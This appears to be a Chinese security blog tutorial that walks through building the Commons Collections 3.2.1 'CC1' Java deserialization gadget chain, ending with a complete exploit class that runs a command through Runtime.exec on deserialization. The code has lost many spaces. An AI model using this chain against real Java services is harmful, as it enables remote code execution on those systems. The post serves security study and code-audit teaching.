公众号号内回复Java,获取Java代码审计学习资料
CC1
环境文件在公众号回复cc1获取
debug
环境配置:
-
jdk1.8.0_65
用jdk1.8.65
由于源码的适配原因,需要将openjdk(jdk-af660750b2f4.zip)对应的 sun 目录复制到 jdk1.8.65下的src目录
然后在IDEA 项目结构中的SDKS 添加一个源码路径(指向jdk1.8.65下的src目录)
-
maven
依赖
CC1链 存在漏洞的版本是3.2.1,添加一下maven的依赖
InvokerTransformer.transform -> 哪里调用了transform -> 右键方法名FindUsages
Runtime r = Runtime.getRuntime(); // 生成对象
new InvokerTransformer("exec", new Class[]{String.class}, newObject[]{"calc"}).transform(r);
// exec:方法名
// new Class[]{String.class}:参数类型
// new Object[]{"calc"}:参数值
// .transform(r):对应的对象
找到TransformedMap.checkSetValue方法 -> 要控制值 -> 寻找构造方法
protected TransformedMap() -> 自己调用 -> 继续找
static Map decorate -> 静态方法,直接调用,且调用了构造方法 -> 控制值
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, newObject[]{"calc"}); // 保存下来
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer); // 静态方法decorate直接调用
此时还要找到如何调用checkSetValue -> 右键方法名FindUsages
-> AbstractInputCheckedMapDecorator类
HashMap<Object, Object> map = new HashMap<>();
map.put("key", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
for(Map.Entry entry:transformedMap.entrySet()){
entry.setValue(r); // 这里的r就是上面的那个Runtime对象
}
// 下断点进行调试,发现会来到这里的setValue方法
-> 因为TransformedMap是AbstractInputCheckedMapDecorator的子类
-> 我的for循环遍历的是TransformedMap.decorate返回的Map类型 --- entry.setValue
-> TransformedMap类中没有setValue方法 --- 去父类AbstractInputCheckedMapDecorator中寻找 调用
-> 经过下断点调试,发现这里的parent依然是 TransformedMap 类型
-> 所以又回去调用了checkSetValue
至此,Map.Entry
数组遍历,调用setValue
方法,传入TransfromedMap.decorate
返回的Map
// 接着寻找哪里调用了setValue方法 -> 找到了一个readobject方法里调用了 setValue
// 该类是default类型,无法直接创建,需要通过反射
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); // Class类型
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);//获取构造器
annotationInvocationHandlerConstructor.setAccessible(true);// 设置可访问
Object o = annotationInvocationHandlerConstructor.newInstance(Override.class, transformedMap);
serialize(o);
unserialize("ser.bin");
// 运行发现不行,可以下断点调试
-> 不满足if语句条件,进行修改
=> memberType != null -> 这里调试发现是null -> 要想办法变成不是null
逻辑:键值对的Key作为value 去 memberTypes.get(name); 所以要传入一个有成员方法的class -> Target
Objecto= annotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);
map.put("value", "aaa"); // 且这里的key要改成Target里面的成员方法的名字 value
OK了,可以进来两个if了
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, newObject[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, newObject[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, newObject[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// 先把三个new InvokerTransformer换成 ChainedTransformer方法调用
// 直接传递进数组,依次调用即可
// 此时运行发现还不行报错,进行调试,发现这里的 value 变成了这个注解类似的类 -> 这并不是我们想要的
// 发现了一个 ConstantTransformer 类,传入什么就会返回什么
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
newInvokerTransformer("getMethod", newClass[]{String.class, Class[].class}, newObject[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, newObject[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, newObject[]{"calc"})
};
// 在这里ChainedTransformer最开始加入一个 ConstantTransformer(Runtime.class) 就会返回Runtime.class
最后
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
publicclassCC1Test1{
publicstaticvoidmain(String[] args)throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
newInvokerTransformer("getMethod", newClass[]{String.class, Class[].class}, newObject[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, newObject[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, newObject[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "aaa");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
Object o = annotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);
serialize(o);
unserialize("ser.bin");
}
publicstaticvoidserialize(Object obj)throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
publicstaticvoidunserialize(String fileName)throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName));
ois.readObject();
}
}
原文始发于微信公众号(夜风Sec):Java安全 - CC1链
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论